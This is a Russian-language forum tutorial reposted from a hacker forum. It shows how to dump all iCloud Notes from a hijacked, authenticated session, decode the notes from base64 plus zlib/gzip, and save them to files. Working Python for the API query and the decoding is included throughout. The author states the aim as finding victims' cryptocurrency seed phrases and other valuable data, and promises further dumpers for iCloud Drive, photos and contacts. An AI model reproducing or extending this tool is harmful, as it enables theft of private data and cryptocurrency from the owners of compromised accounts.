Cобираем заметки с Icloud. Криптография и реверс шифра на этих самых заметках.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Написано - chiefchainer

Источник - xss.is


Введение​


Всем привет, рад, что вам понравилась предыдущая статья по дампу почты с айкладу, обратная связь по статье для меня - это всегда важно. По этому вторая часть по айклауду выходит чуть ли не сразу. В прошлой статье рассмотрели выгрузку всех сообщений с мыла, разобрались с авторизацией и еще парочкой моментов. Ознакомиться с ней можно здесь - статья. Тут мы разберем, то как дампить заметки с айклауда, и так же будем искать среди них сидки, скрипт под поиск сидок среди текста мы писали в прошлый раз. Столкнемся немного с танцами, где бубны - главный инструмент. Так же будет и криптография. Авторизацию и остальное рассматривать не будем, этим занимались еще в прошлый раз. По этому предлагаю лететь сразу к делу.

Сразу в бой​

Переходим уже с авторизованной сессией в
Код: Скопировать в буфер обмена
icloud.com/notes
, мы видим тут сразу наши заметки, но нас интересует немного другое. Для начала я перешел на одну из уже существующих заметок, и я сразу замечаю, что в URL-е произошли изменения.
1736003810414.png


Получается, что у каждой из заметок присутствует некий идентификатор, но присмотритесь, лично мне это сразу напомнило BASE64, я впринципе всегда кидаю на него свой взор, когда вижу в конце '=', оно может быть как одно, так и два. Остается теперь убедиться и подтвердить свои мысли, так ли это на самом деле. Воспользуемся любым онлайн декриптором, в этом плане я предпочитаю - dcode.fr/en . Очень удобный сайт, уже присутствует множество разных шифров, а так же есть определитель шифра (не стоит ему всегда доверять, бывает дурачится не по-детски). Находим нужный нам BASE64, после чего вставляем, дешифруем и наблюдаем такую картину.
1736004040425.png


Мы получили следующее по итогам дешифровки -
Код: Скопировать в буфер обмена
Private::Notes::currentUser::9CB0F0FF-FEEC-4AC1-B37B-A03BA3ABC207
. Не оставляем это просто так, в прошлый раз мы сильно упрощали себе жизнь тем, что искали нужные запросы по определенным кейвордам, в данном случае мы можем использовать идентификатор заметки
Код: Скопировать в буфер обмена
9CB0F0FF-FEEC-4AC1-B37B-A03BA3ABC207
как заветный кейворд. На этом этапе без просмотра запросов больше я ничего не заметил, по этому стоит отхватить запрос, где летят наши заметки. Включаем инструменты разработчика, включаем запись запросов, обновляем страничку и пытаемся найти нужный нам запрос через идентификатор.
1736004242180.png


Бамц, как прекрасно и великолепно, сразу 4 штуки, теперь покликаемся по каждому из запросов и посмотрим, что они в себе хранят. Бежим в первый - lookup. Взглянем, что он передает.
1736004361256.png


Впринципе, все становится понятным, в пейлоде мы передаем как раз таки тот самый идентификатор, и исходя из того, что там пишется records (именно во множественном числе), с высокой вероятностью мы можем за один запрос выгрузить сразу несколько заметок, что конечно играет нам на руку. Видим опять dsid, те кто читал предыдущую статью, надеюсь, помнят, что это за параметр и откуда мы его достаем. Давайте взглянем на ответ, который мы получили на этот запрос.
1736004569912.png


Я решил показать сразу самое важное и страшное =) Нигде нет того текста, который у нас был в cамой заметке, звучит ужасно, но не разочаровываемся, этим мы займемся позже. Откладываем у себя в памяти, что придется еще поморочиться, но для начала стоит понять, как доставать идентификаторы всех заметок сразу. По этому плывем к другим запросам, которые мы смогли найти по CTRL+F. Меня привлёк именно второй запрос с конца, который шлется на эндпоинт query. Опять глядим, что мы отправляем аЙкЛаУдУ.
1736004821660.png


Видим desiredKeys, в переводе с английского - это желаемые ключи. И мы наблюдаем TitleEncrypted, который видели на ответе при запросе информации по идентификатору заметки. И resultsLimit как и в прошлый раз с почтой у нас был похожий параметр, правда, назывался он абсолютно по другому - count. Это тоже меня неплохо так поражает, не особо понятная такая разница в названии параметра, который несет одну и ту же нагрузку. Но не зацикливаемся, мы так же можем указать любое конское значение, и доставать все параметры через него. Для того, чтоб лишний раз не напрягаться по поводу того, что айклауд не сможет вернуть так много информации за один запрос, мы уберем все остальные ключи кроме TitleEncrypted, но и добавим свой ключ, а именно
TextDataEncrypted, чтоб сразу получать и название, и содержимое, которое дальше будем декриптить. Можно попробовать сделать другую логику, где мы оставим только TitleEncrypted, а все остальное получать индивидуально по каждому recordName, но я решил остановится на первом этапе, т.к он менее затратен в своих ресурсах, в то время как мы делаем 1 запрос для получения и текста заметки и её названия, там нам придется сделать следующее кол-во запросов, оно будет суммироваться из запроса, который получает все идентификаторы, а после еще на каждый из них, надо отправить по одному запросу, то есть прилично так больше. Суть алгоритма, который я предложил, думаю, была понятна. Теперь изучим ответ, который мы получили на этот запрос.
1736005485801.png


В ответе получаем простенький JSON, где всё аккуратненько хранится.

Остается лишь реализовать. Писать функционал дампа заметок будем модульно, то есть впринципе делаем его как конструктор, где можно будет, что-то добавлять, что-то вырезать. Это всегда хорошо иметь нормальную структуру в проекте, а не путаницу, где в одном файле у вас десятки тысяч строк кода в перемешку со всем подряд.

Код: Скопировать в буфер обмена
Код:
import requests
from get_dsid import get_dsid

def get_notes(session, folder):
    headers = {
        'Accept': '*/*',
        'Accept-Language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7',
        'Connection': 'keep-alive',
        'Origin': 'https://www.icloud.com',
        'Referer': 'https://www.icloud.com/',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-site',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'content-type': 'text/plain',
        'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
    }

    params = {
        'ckjsBuildVersion': '2310ProjectDev27',
        'ckjsVersion': '2.6.4',
        'clientId': '97c41c91-68e1-45b6-9178-04d2b78b6963',
        'clientBuildNumber': '2418Project36',
        'clientMasteringNumber': '2418B22',
        'dsid': get_dsid(),
    }
    data = '{"query":{"recordType":"SearchIndexes","filterBy":[{"comparator":"EQUALS","fieldName":"indexName","fieldValue":{"value":"recents","type":"STRING"}}],"sortBy":[{"fieldName":"modTime","ascending":false}]},"zoneID":{"zoneName":"Notes"},"desiredKeys":["TitleEncrypted", "TextDataEncrypted"],"resultsLimit":5000}'

    response = session.post(
        'https://p55-ckdatabasews.icloud.com/database/1/com.apple.notes/production/private/records/query',
        params=params,
        headers=headers,
        data=data,
    )

Получается, что-то такое =) Таким образом мы получаем информацию о всех заметках, а именно об их заголовках, и содержимых.

Реверсим шифр.​

Теперь делать нам пока нечего, по этому надо разобраться, что за дьявол, и какие черти придумали шифровать заметки. Сохраним ответ, который мы получили в отдельный файлик, чтоб было удобнее изучать. Для начала стоит начать с заголовка, пойдем по порядку.
1736006565198.png


Замазал некоторые данные, ибо при огромном желании меня наверняка можно найти. Теперь стоит разобраться для начала с заголовком, честно, сразу визуально мне не дает это никаких мыслей. Просто набор, есть немного закос под Base, но пока я в этом абсолютно не уверен, по этому скачем к сайту, про который я говорил ранее и ищем там Cipher Identifier, вставляем наш заголовок и даем сайту попробовать определить, что это вообще такое.
1736007369581.png


Он выдает некий топ-10, на какие шифры это схоже, будем пробовать друг за дружкой, но заранее пропускаем шифры, которые предварительно не могут никак подходить под эту задачу, а это Affine, Mono-alphabetic, и Cipher Disk, вопрос, почему они нам не подходят? Потому что там еще присутствуют еще куча других параметров, которые могут быть индивидуальны, а в данном случае эпплам нужен один подход, а не пытаться выстроить под каждого юзера индивидуальную защиту. По этому остается у нас опять Base64, через который мы попробуем прогнать его.
1736007593925.png


Загоняем это в бинарный вид, к сожалению, dcode не поддерживает кодировку UTF-8, а мы заранее знаем, что в названии у нас чуть ли не всё из русских символов. По этому забираем бинарник, находим любой другой конвертор BINARY to TEXT с поддержкой utf-8. Находите абсолютно любой в гугле, их там куча.
1736007720051.png


Бабамц, мы разобрались с тем, что заголовок просто кодируется простым Base64, а что если содержимое таким же образом, a? Стоит проверить, может везде один подход и он нигде не изменяется.
1736007904927.png

Мда уж, оказывается не все так просто, мы получаем кучу всяких битых символов в кодировке UTF-8, но это не отменяет того факта, что изначально это Base64, и это первый шаг к декрипту этих самых заметок. По этому, не стоит всегда бросать шифры, из которых вы получили какой-то бред, они на самом деле могут быть лишь одним из частью всех криптов. Давайте тогда декодируем это все дело в байты, для этого используем опять же любой сайт из гугла.
1736008490107.png


И очередной праздник для нас, мы наблюдаем два байтa: 78 и 9c. Самое настоящее счастье, мы почти раскрутили этот чертов текст заметок. Что я тут увидел? Магические цифры или же сигнатура. Именно с помощью этих двух байтов, мне сразу становится ясно, что это все скомпресованно еще сверху ZLIB. '78' a.k.a 0x78 - дает сразу понять, что тут используется метод сжатия zlib. 9c a.k.a 0x9c - может быть динамическим, на этом стоит не зацикливаться, но он дает нам знать, что используется стандартное сжатие, без всяких других финтифлюшек =) Я не могу рассказать как этому научиться и так далее, могу лишь посоветовать открыть для себя участие в CTF, очень сильно толкнет вас в развитии, если конечно реально решать таски, а не для галочки. Так же в ходе тестов после того как я уже написал этот момент обнаружилось, что так же присутствует и gzip-компрессия. Определилось это точно так же по магическим цифрам, различать это в скрипте мы будем по первым байтам. То есть пока у нас получается такой маршрут
Encrypted text -> Base64 -> zlib/gzip.
Запоминаем его, двигаемся дальше.
1736009268767.png


К сожалению, расжатие zlib не дало нам особых успехов, но как минимум расжало. А что если банально попробовать перевести байты в текст, может мы получим что?
1736009563551.png


Да, мы получаем текст, который находится в заметке, и для нас это великолепно, но видим так же кучу еще и другого мусора, который на самом деле нам не особо лицеприятен, и стоит от него избавиться. Мы опять просто на просто прибегаем к регуляркам, тему которых поднимал в прошлый раз. Воспользуемся такой штучкой -
Код: Скопировать в буфер обмена
r'[^\x20-\x7Eа-яА-ЯёЁ]'
, она оставит на все ASCII-символы и русские символы. Да, конечный результат все же не до конца идеален.
1736011274878.png


Но мы получили желаемые результат, задекриптили эту хрень.
Прикольно вышло, не спорю. Теперь остается лишь написать функцию под декрипт. Конечный код прикладываю ниже, а после разъясню его.
Код: Скопировать в буфер обмена
Код:
import base64
import zlib
import gzip
import json
import re

def decode_text_data_encrypted(encrypted_value):
    try:
        decoded_value = base64.b64decode(encrypted_value)
        if decoded_value[0] == 0x1f and decoded_value[1] == 0x8b:
            uncompressed_data = gzip.decompress(decoded_value)
        else:
            uncompressed_data = zlib.decompress(decoded_value)
        decoded_text = uncompressed_data.decode('utf-8', errors='ignore')
        cleaned_text = re.sub(r'[^\x20-\x7Eа-яА-ЯёЁ]', '', decoded_text)
        return cleaned_text
    except Exception as e:
        return encrypted_value

На вход мы получаем наше криптованное значение, после чего дешифруем его как base64, рассжимаем посредством zlib, просто декодим с кодировкой utf-8, и так же обязательно указываем параметр ignore в errors, это чтоб оно не ругалось если не сможем дешифровать какие-то определенные байты (а он не сможет), после чего с помощью регулярки все чистим, и возвращаем обратно.
В результате мы получили такой маршрут головоломки (ну или не очень)
EncryptedText -> Base64 -> zlib/gzip -> bytes -> Text

Все вышло, все получилось. Подвязываем теперь так же теперь в скрипт, где мы получали все идентификаторы и декрипт наших заметок. Я планирую записывать файлы с названием в виде Title заметки, но в ходе тестов все обернулось немного плохим. В одной из моих существующих заметок заголовком являлась ссылка, из-за 'https://' он не смог корректно сохранить её. По этому мы так же будем подчищать заголовок, экранируя в нём символы. Целиком это все выглядит как-то так..

Код: Скопировать в буфер обмена
Код:
import requests
import json
from decrypt import decode_text_data_encrypted
import base64
from get_dsid import get_dsid
import os
import re

def clean_filename(filename):
    return re.sub(r'[\\/*?:"<>|]', '_', filename)

def get_notes(session, folder):
    headers = {
        'Accept': '*/*',
        'Accept-Language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7',
        'Connection': 'keep-alive',
        'Origin': 'https://www.icloud.com',
        'Referer': 'https://www.icloud.com/',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-site',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'content-type': 'text/plain',
        'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
    }

    params = {
        'ckjsBuildVersion': '2310ProjectDev27',
        'ckjsVersion': '2.6.4',
        'clientId': '97c41c91-68e1-45b6-9178-04d2b78b6963',
        'clientBuildNumber': '2418Project36',
        'clientMasteringNumber': '2418B22',
        'dsid': get_dsid(),
    }
    data = '{"query":{"recordType":"SearchIndexes","filterBy":[{"comparator":"EQUALS","fieldName":"indexName","fieldValue":{"value":"recents","type":"STRING"}}],"sortBy":[{"fieldName":"modTime","ascending":false}]},"zoneID":{"zoneName":"Notes"},"desiredKeys":["TitleEncrypted", "TextDataEncrypted"],"resultsLimit":24}'

    response = session.post(
        'https://p55-ckdatabasews.icloud.com/database/1/com.apple.notes/production/private/records/query',
        params=params,
        headers=headers,
        data=data,
    )
    json_data = response.json()
    for record in json_data['records']:
        try:
            title_encrypted = record['fields']['TitleEncrypted']['value']
            text_data_encrypted = record['fields']['TextDataEncrypted']['value']
            title = base64.b64decode(title_encrypted).decode('utf-8')
            clear_title = clean_filename(title)
            text_data = decode_text_data_encrypted(text_data_encrypted)
            filename = os.path.join(folder, f"{clear_title}.txt")
            with open(filename, 'w', encoding='utf-8') as file:
                file.write(text_data)
        except:
            pass

Заключение​

По итогу мы получили дампер заметок. В него можете подвязать поиск сидок, найти его можно в предыдущей статьей, или можно написать свой и тоскать другую ценную дату. В следующей статьей мы взглянем на Icloud Drive, покачаем файлы оттуда, начнем работать с картинками, файлами, подвяжем OCR (распознавание текста), в надежде все так же найти сидку =) Надеюсь, что всем понравилось, всем всё понятно. Жду так же вашей обратной реакции, стоит ли дальше конопатить это дело. И так же прикладываю полный архив под дамп заметок, при желании подтяните модуль дампа почты из старого, поставьте вызов функции в start.py и вот у вас уже будет дампер сразу двух штучек (а впереди еще облако, галерея, контакты). Всех вновь с Новым годом, всем успехов.
 
Сверху Снизу